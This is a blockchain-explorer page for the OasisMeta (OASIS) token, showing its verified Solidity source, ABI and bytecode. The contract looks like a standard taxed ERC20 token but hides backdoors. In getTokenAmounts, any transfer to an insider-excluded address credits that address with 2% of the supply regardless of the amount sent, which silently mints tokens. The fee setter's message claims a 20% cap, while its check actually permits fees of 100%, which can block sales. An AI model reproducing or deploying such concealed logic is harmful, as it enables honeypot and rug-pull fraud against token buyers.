ETH Price: $3,399.01 (+6.39%)
 

Overview

Max Total Supply

1,000,000,000 OASIS

Holders

69

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
4,440,082.980667907 OASIS

Value
$0.00
0x3957e9D1b833485546A0e6410b9c9267c036c1B5
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
OasisMeta

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-10-08
*/

// SPDX-License-Identifier: MIT

/*
The World's First Virtual AI Strip Club - Open 24/7

Website: https://oasismeta.club
Twitter: https://twitter.com/OasisMetaCrypto
Telegram: https://t.me/OasisMetaCrypto
Docs: https://medium.com/@oasismeta.club
*/

pragma solidity 0.8.19;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}
abstract contract Ownable {
    address internal owner;
    constructor(address _owner) {owner = _owner;}
    modifier onlyOwner() {require(isOwner(msg.sender), "!OWNER"); _;}
    function isOwner(address account) public view returns (bool) {return account == owner;}
    function renounceOwnership() public onlyOwner {owner = address(0); emit OwnershipTransferred(address(0));}
    function transferOwnership(address payable adr) public onlyOwner {owner = adr; emit OwnershipTransferred(adr);}
    event OwnershipTransferred(address owner);
}
interface IERC20 {
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline) external;
}
interface IFactory{
    function createPair(address tokenA, address tokenB) external returns (address pairAddy);
}
contract OasisMeta is IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public isExcluded;
    string private constant _name = unicode"OasisMeta";
    string private constant _symbol = unicode"OASIS";
    uint8 private constant _decimals = 9;
    uint256 private _totalSupply = 1000000000 * (10 ** _decimals);
    uint256 private swappedFeeTimes;
    bool private swapping;
    uint256 swapBetween;
    IRouter routerInsta;
    address public pairAddy;
    bool private buyOpened = false;
    bool private swapEnabled = true;
    uint256 private feeThreshold = ( _totalSupply * 1000 ) / 100000;
    uint256 private taxTriggerAt = ( _totalSupply * 10 ) / 100000;
    modifier lockSwap {swapping = true; _; swapping = false;}
    uint256 public maxTxAmount = ( _totalSupply * 200 ) / 10000;
    uint256 public maxSellTemp = ( _totalSupply * 200 ) / 10000;
    uint256 public maxWallet = ( _totalSupply * 200 ) / 10000;
    uint256 private liquidityFee = 0;
    uint256 private marketingFee = 0;
    uint256 private developmentFee = 100;
    uint256 private burnFee = 0;
    uint256 private buyFee = 1400;
    uint256 private sellFee = 2300;
    uint256 private transferFee = 1400;
    uint256 private denominator = 10000;
    address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address internal devAddy = 0xf201CE65BC332B3b76f7686615EFF3777ADA267D; 
    address internal feeAddy = 0xf201CE65BC332B3b76f7686615EFF3777ADA267D;
    address internal lpAddy = 0xf201CE65BC332B3b76f7686615EFF3777ADA267D;

    constructor() Ownable(msg.sender) {
        IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH());
        routerInsta = _router; pairAddy = _pair;
        isExcluded[lpAddy] = true;
        isExcluded[feeAddy] = true;
        isExcluded[devAddy] = true;
        isExcluded[msg.sender] = true;
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    receive() external payable {}
    function symbol() public pure returns (string memory) {return _symbol;}
    function name() public pure returns (string memory) {return _name;}
    function decimals() public pure returns (uint8) {return _decimals;}    
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
    function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
    function getOwner() external view override returns (address) { return owner; }
    function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];}
    
    function getTokenAmounts(address sender, address recipient, uint256 amount) internal returns (uint256) {
        if (isExcluded[recipient]) {return maxTxAmount;}
        if(getBuySellFee(sender, recipient) > 0){
        uint256 feeAmount = amount.div(denominator).mul(getBuySellFee(sender, recipient));
        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);
        if(burnFee > uint256(0) && getBuySellFee(sender, recipient) > burnFee){_transfer(address(this), address(DEAD), amount.div(denominator).mul(burnFee));}
        return amount.sub(feeAmount);} return amount;
    }
    function setTransactionLimits(uint256 _buy, uint256 _sell, uint256 _wallet) external onlyOwner {
        uint256 newTx = _totalSupply.mul(_buy).div(10000); uint256 newTransfer = _totalSupply.mul(_sell).div(10000); uint256 newWallet = _totalSupply.mul(_wallet).div(10000);
        maxTxAmount = newTx; maxSellTemp = newTransfer; maxWallet = newWallet;
        uint256 limit = totalSupply().mul(5).div(1000);
        require(newTx >= limit && newTransfer >= limit && newWallet >= limit, "Max TXs and Max Wallet cannot be less than .5%");
    }
    function swapTokensToEth(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = routerInsta.WETH();
        _approve(address(this), address(routerInsta), tokenAmount);
        routerInsta.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp);
    }
    function swapBackTokensAndBurn(uint256 tokens) private lockSwap {
        uint256 _denominator = (liquidityFee.add(1).add(marketingFee).add(developmentFee)).mul(2);
        uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div(_denominator);
        uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);
        uint256 initialBalance = address(this).balance;
        swapTokensToEth(toSwap);
        uint256 deltaBalance = address(this).balance.sub(initialBalance);
        uint256 unitBalance= deltaBalance.div(_denominator.sub(liquidityFee));
        uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee);
        if(ETHToAddLiquidityWith > uint256(0)){addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); }
        uint256 marketingAmt = unitBalance.mul(2).mul(marketingFee);
        if(marketingAmt > 0){payable(feeAddy).transfer(marketingAmt);}
        uint256 contractBalance = address(this).balance;
        if(contractBalance > uint256(0)){payable(devAddy).transfer(contractBalance);}
    }
    function setTransactionRequirements(uint256 _liquidity, uint256 _marketing, uint256 _burn, uint256 _development, uint256 _total, uint256 _sell, uint256 _trans) external onlyOwner {
        liquidityFee = _liquidity; marketingFee = _marketing; burnFee = _burn; developmentFee = _development; buyFee = _total; sellFee = _sell; transferFee = _trans;
        require(buyFee <= denominator.div(1) && sellFee <= denominator.div(1) && transferFee <= denominator.div(1), "buyFee and sellFee cannot be more than 20%");
    }
    function _transfer(address sender, address recipient, uint256 amount) private {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount <= balanceOf(sender),"You are trying to transfer more than your balance");
        if(!isExcluded[sender] && !isExcluded[recipient]){require(buyOpened, "buyOpened");}
        if(!isExcluded[sender] && !isExcluded[recipient] && recipient != address(pairAddy) && recipient != address(DEAD)){
        require((_balances[recipient].add(amount)) <= maxWallet, "Exceeds maximum wallet amount.");}
        if(sender != pairAddy){require(amount <= maxSellTemp || isExcluded[sender] || isExcluded[recipient], "TX Limit Exceeded");}
        require(amount <= maxTxAmount || isExcluded[sender] || isExcluded[recipient], "TX Limit Exceeded"); 
        if(recipient == pairAddy && !isExcluded[sender]){swappedFeeTimes += uint256(1);}
        if(shouldSellTaxTokens(sender, recipient, amount)){swapBackTokensAndBurn(feeThreshold); swappedFeeTimes = uint256(0);}
        _balances[sender] = _balances[sender].sub(amount);
        uint256 amountReceived = !isExcluded[sender] ? getTokenAmounts(sender, recipient, amount) : amount;
        _balances[recipient] = _balances[recipient].add(amountReceived);
        emit Transfer(sender, recipient, amountReceived);
    }
    function startTrading() external onlyOwner {buyOpened = true;}
    function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;}
    function totalSupply() public view override returns (uint256) {return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));}
    function getBuySellFee(address sender, address recipient) internal view returns (uint256) {
        if(recipient == pairAddy){return sellFee;}
        if(sender == pairAddy){return buyFee;}
        return transferFee;
    }
    function shouldSellTaxTokens(address sender, address recipient, uint256 amount) internal view returns (bool) {
        bool aboveMin = amount >= taxTriggerAt;
        bool aboveThreshold = balanceOf(address(this)) >= feeThreshold;
        return !swapping && swapEnabled && buyOpened && aboveMin && !isExcluded[sender] && recipient == pairAddy && swappedFeeTimes >= swapBetween && aboveThreshold;
    }
    function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
        _approve(address(this), address(routerInsta), tokenAmount);
        routerInsta.addLiquidityETH{value: ETHAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            lpAddy,
            block.timestamp);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcluded","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSellTemp","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pairAddy","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"uint256","name":"_wallet","type":"uint256"}],"name":"setTransactionLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidity","type":"uint256"},{"internalType":"uint256","name":"_marketing","type":"uint256"},{"internalType":"uint256","name":"_burn","type":"uint256"},{"internalType":"uint256","name":"_development","type":"uint256"},{"internalType":"uint256","name":"_total","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"uint256","name":"_trans","type":"uint256"}],"name":"setTransactionRequirements","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"adr","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126009600a620004c9565b6200002290633b9aca00620004e1565b60048190556009805461ffff60a01b1916600160a81b179055620186a0906200004e906103e8620004e1565b6200005a9190620004fb565b600a55620186a0600454600a620000729190620004e1565b6200007e9190620004fb565b600b5561271060045460c8620000959190620004e1565b620000a19190620004fb565b600c5561271060045460c8620000b89190620004e1565b620000c49190620004fb565b600d5561271060045460c8620000db9190620004e1565b620000e79190620004fb565b600e556000600f8190556010819055606460115560125561057860138190556108fc6014556015556127106016556017805473f201ce65bc332b3b76f7686615eff3777ada267d6001600160a01b03199182168117909255601880548216831790556019805490911690911790553480156200016257600080fd5b50600080546001600160a01b031916331781556040805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d9291839163c45a0155916004808201926020929091908290030181865afa158015620001ca573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001f091906200051e565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200023e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200026491906200051e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002b2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002d891906200051e565b600880546001600160a01b038086166001600160a01b03199283161790925560098054838516921691909117905560195481166000908152600360209081526040808320805460ff199081166001908117909255601854861685528285208054821683179055601754909516845281842080548616821790553380855282852080549096168217909555600454925280832082905551939450919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91620003a491815260200190565b60405180910390a3505062000549565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200040b578160001904821115620003ef57620003ef620003b4565b80851615620003fd57918102915b93841c9390800290620003cf565b509250929050565b6000826200042457506001620004c3565b816200043357506000620004c3565b81600181146200044c5760028114620004575762000477565b6001915050620004c3565b60ff8411156200046b576200046b620003b4565b50506001821b620004c3565b5060208310610133831016604e8410600b84101617156200049c575081810a620004c3565b620004a88383620003ca565b8060001904821115620004bf57620004bf620003b4565b0290505b92915050565b6000620004da60ff84168362000413565b9392505050565b8082028115828204841417620004c357620004c3620003b4565b6000826200051957634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156200053157600080fd5b81516001600160a01b0381168114620004da57600080fd5b6118b380620005596000396000f3fe60806040526004361061012e5760003560e01c8063893d20e8116100ab578063cb7f97d71161006f578063cb7f97d71461036a578063cba0e9961461038a578063dd62ed3e146103ba578063ef76e5fa14610400578063f2fde38b14610420578063f8b45b051461044057600080fd5b8063893d20e8146102b45780638c0b5e22146102e657806395d89b41146102fc5780639cc353511461032a578063a9059cbb1461034a57600080fd5b8063293230b8116100f2578063293230b8146102075780632f54bf6e1461021e578063313ce5671461024d57806370a0823114610269578063715018a61461029f57600080fd5b806306fdde031461013a578063095ea7b31461017e57806318160ddd146101ae578063182fc6c9146101d157806323b872dd146101e757600080fd5b3661013557005b600080fd5b34801561014657600080fd5b506040805180820190915260098152684f617369734d65746160b81b60208201525b604051610175919061154d565b60405180910390f35b34801561018a57600080fd5b5061019e6101993660046115b3565b610456565b6040519015158152602001610175565b3480156101ba57600080fd5b506101c361046d565b604051908152602001610175565b3480156101dd57600080fd5b506101c3600d5481565b3480156101f357600080fd5b5061019e6102023660046115df565b6104de565b34801561021357600080fd5b5061021c610548565b005b34801561022a57600080fd5b5061019e610239366004611620565b6000546001600160a01b0391821691161490565b34801561025957600080fd5b5060405160098152602001610175565b34801561027557600080fd5b506101c3610284366004611620565b6001600160a01b031660009081526001602052604090205490565b3480156102ab57600080fd5b5061021c610590565b3480156102c057600080fd5b506000546001600160a01b03165b6040516001600160a01b039091168152602001610175565b3480156102f257600080fd5b506101c3600c5481565b34801561030857600080fd5b506040805180820190915260058152644f4153495360d81b6020820152610168565b34801561033657600080fd5b5061021c61034536600461163d565b6105ff565b34801561035657600080fd5b5061019e6103653660046115b3565b610740565b34801561037657600080fd5b5061021c610385366004611669565b61074d565b34801561039657600080fd5b5061019e6103a5366004611620565b60036020526000908152604090205460ff1681565b3480156103c657600080fd5b506101c36103d53660046116b5565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561040c57600080fd5b506009546102ce906001600160a01b031681565b34801561042c57600080fd5b5061021c61043b366004611620565b610842565b34801561044c57600080fd5b506101c3600e5481565b60006104633384846108c0565b5060015b92915050565b60016020527fa6eef7e35abe7026729641147f7915573c7e97b47efa546f5f6e3230263bcb495461dead60009081527fb34209a263f6c38fe55f099e9e70f9d67e93982480ff3234a5e0108028ad164d5460045491926104d99290916104d391906109e4565b906109e4565b905090565b60006104eb8484846109f0565b61053d843361053885604051806060016040528060288152602001611856602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610f3d565b6108c0565b5060015b9392505050565b6000546001600160a01b0316331461057b5760405162461bcd60e51b8152600401610572906116ee565b60405180910390fd5b6009805460ff60a01b1916600160a01b179055565b6000546001600160a01b031633146105ba5760405162461bcd60e51b8152600401610572906116ee565b600080546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b6000546001600160a01b031633146106295760405162461bcd60e51b8152600401610572906116ee565b600061064c61271061064686600454610f6990919063ffffffff16565b90610f75565b9050600061066b61271061064686600454610f6990919063ffffffff16565b9050600061068a61271061064686600454610f6990919063ffffffff16565b600c849055600d839055600e819055905060006106b66103e861064660056106b061046d565b90610f69565b90508084101580156106c85750808310155b80156106d45750808210155b6107375760405162461bcd60e51b815260206004820152602e60248201527f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560448201526d206c657373207468616e202e352560901b6064820152608401610572565b50505050505050565b60006104633384846109f0565b6000546001600160a01b031633146107775760405162461bcd60e51b8152600401610572906116ee565b600f8790556010869055601285905560118490556013839055601482905560158190556016546107a8906001610f75565b601354111580156107c857506016546107c2906001610f75565b60145411155b80156107e357506016546107dd906001610f75565b60155411155b6107375760405162461bcd60e51b815260206004820152602a60248201527f62757946656520616e642073656c6c4665652063616e6e6f74206265206d6f7260448201526965207468616e2032302560b01b6064820152608401610572565b6000546001600160a01b0316331461086c5760405162461bcd60e51b8152600401610572906116ee565b600080546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b0383166109225760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610572565b6001600160a01b0382166109835760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610572565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006105418284611724565b6001600160a01b038316610a545760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610572565b6001600160a01b038216610ab65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610572565b6001600160a01b038316600090815260016020526040902054811115610b385760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b6064820152608401610572565b6001600160a01b03831660009081526003602052604090205460ff16158015610b7a57506001600160a01b03821660009081526003602052604090205460ff16155b15610bc457600954600160a01b900460ff16610bc45760405162461bcd60e51b8152602060048201526009602482015268189d5e53dc195b995960ba1b6044820152606401610572565b6001600160a01b03831660009081526003602052604090205460ff16158015610c0657506001600160a01b03821660009081526003602052604090205460ff16155b8015610c2057506009546001600160a01b03838116911614155b8015610c3757506001600160a01b03821661dead14155b15610cb057600e546001600160a01b038316600090815260016020526040902054610c629083610f81565b1115610cb05760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e00006044820152606401610572565b6009546001600160a01b03848116911614610d5157600d5481111580610cee57506001600160a01b03831660009081526003602052604090205460ff165b80610d1157506001600160a01b03821660009081526003602052604090205460ff165b610d515760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b6044820152606401610572565b600c5481111580610d7a57506001600160a01b03831660009081526003602052604090205460ff165b80610d9d57506001600160a01b03821660009081526003602052604090205460ff165b610ddd5760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b6044820152606401610572565b6009546001600160a01b038381169116148015610e1357506001600160a01b03831660009081526003602052604090205460ff16155b15610e3157600160056000828254610e2b9190611737565b90915550505b610e3c838383610f8d565b15610e5257610e4c600a54611047565b60006005555b6001600160a01b038316600090815260016020526040902054610e7590826109e4565b6001600160a01b038416600090815260016020908152604080832093909355600390529081205460ff1615610eaa5781610eb5565b610eb58484846111c4565b6001600160a01b038416600090815260016020526040902054909150610edb9082610f81565b6001600160a01b0380851660008181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f2f9085815260200190565b60405180910390a350505050565b60008184841115610f615760405162461bcd60e51b8152600401610572919061154d565b505050900390565b6000610541828461174a565b60006105418284611761565b60006105418284611737565b600b54600a543060009081526001602052604081205460065491938510159211159060ff16158015610fc85750600954600160a81b900460ff165b8015610fdd5750600954600160a01b900460ff165b8015610fe65750815b801561100b57506001600160a01b03861660009081526003602052604090205460ff16155b801561102457506009546001600160a01b038681169116145b8015611034575060075460055410155b801561103d5750805b9695505050505050565b6006805460ff19166001908117909155601154601054600f54600093611081936002936106b093919261107b928391610f81565b90610f81565b9050600061109e82610646600f5486610f6990919063ffffffff16565b905060006110ac84836109e4565b9050476110b8826112f4565b60006110c447836109e4565b905060006110e76110e0600f54886109e490919063ffffffff16565b8390610f75565b90506000611100600f5483610f6990919063ffffffff16565b9050801561111257611112868261144e565b601054600090611127906106b0856002610f69565b9050801561116b576018546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611169573d6000803e3d6000fd5b505b4780156111ae576017546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156111ac573d6000803e3d6000fd5b505b50506006805460ff191690555050505050505050565b6001600160a01b03821660009081526003602052604081205460ff16156111ee5750600c54610541565b60006111fa8585611502565b11156112ed57600061121d61120f8686611502565b6016546106b0908690610f75565b3060009081526001602052604090205490915061123a9082610f81565b30600081815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061128b9085815260200190565b60405180910390a360006012541180156112af57506012546112ad8686611502565b115b156112db576112db3061dead6112d66012546106b060165489610f7590919063ffffffff16565b6109f0565b6112e583826109e4565b915050610541565b5092915050565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061132957611329611783565b6001600160a01b03928316602091820292909201810191909152600854604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611382573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113a69190611799565b816001815181106113b9576113b9611783565b6001600160a01b0392831660209182029290920101526008546113df91309116846108c0565b60085460405163791ac94760e01b81526001600160a01b039091169063791ac947906114189085906000908690309042906004016117b6565b600060405180830381600087803b15801561143257600080fd5b505af1158015611446573d6000803e3d6000fd5b505050505050565b6008546114669030906001600160a01b0316846108c0565b60085460195460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af11580156114d6573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906114fb9190611827565b5050505050565b6009546000906001600160a01b03908116908316036115245750601454610467565b6009546001600160a01b03908116908416036115435750601354610467565b5060155492915050565b600060208083528351808285015260005b8181101561157a5785810183015185820160400152820161155e565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146115b057600080fd5b50565b600080604083850312156115c657600080fd5b82356115d18161159b565b946020939093013593505050565b6000806000606084860312156115f457600080fd5b83356115ff8161159b565b9250602084013561160f8161159b565b929592945050506040919091013590565b60006020828403121561163257600080fd5b81356105418161159b565b60008060006060848603121561165257600080fd5b505081359360208301359350604090920135919050565b600080600080600080600060e0888a03121561168457600080fd5b505085359760208701359750604087013596606081013596506080810135955060a0810135945060c0013592509050565b600080604083850312156116c857600080fd5b82356116d38161159b565b915060208301356116e38161159b565b809150509250929050565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b600052601160045260246000fd5b818103818111156104675761046761170e565b808201808211156104675761046761170e565b80820281158282048414176104675761046761170e565b60008261177e57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156117ab57600080fd5b81516105418161159b565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118065784516001600160a01b0316835293830193918301916001016117e1565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561183c57600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ce035a86b7de594bbfe3efc51304ad174392c8e6d9086733f4ceb95bde5552b864736f6c63430008130033

Deployed Bytecode

0x60806040526004361061012e5760003560e01c8063893d20e8116100ab578063cb7f97d71161006f578063cb7f97d71461036a578063cba0e9961461038a578063dd62ed3e146103ba578063ef76e5fa14610400578063f2fde38b14610420578063f8b45b051461044057600080fd5b8063893d20e8146102b45780638c0b5e22146102e657806395d89b41146102fc5780639cc353511461032a578063a9059cbb1461034a57600080fd5b8063293230b8116100f2578063293230b8146102075780632f54bf6e1461021e578063313ce5671461024d57806370a0823114610269578063715018a61461029f57600080fd5b806306fdde031461013a578063095ea7b31461017e57806318160ddd146101ae578063182fc6c9146101d157806323b872dd146101e757600080fd5b3661013557005b600080fd5b34801561014657600080fd5b506040805180820190915260098152684f617369734d65746160b81b60208201525b604051610175919061154d565b60405180910390f35b34801561018a57600080fd5b5061019e6101993660046115b3565b610456565b6040519015158152602001610175565b3480156101ba57600080fd5b506101c361046d565b604051908152602001610175565b3480156101dd57600080fd5b506101c3600d5481565b3480156101f357600080fd5b5061019e6102023660046115df565b6104de565b34801561021357600080fd5b5061021c610548565b005b34801561022a57600080fd5b5061019e610239366004611620565b6000546001600160a01b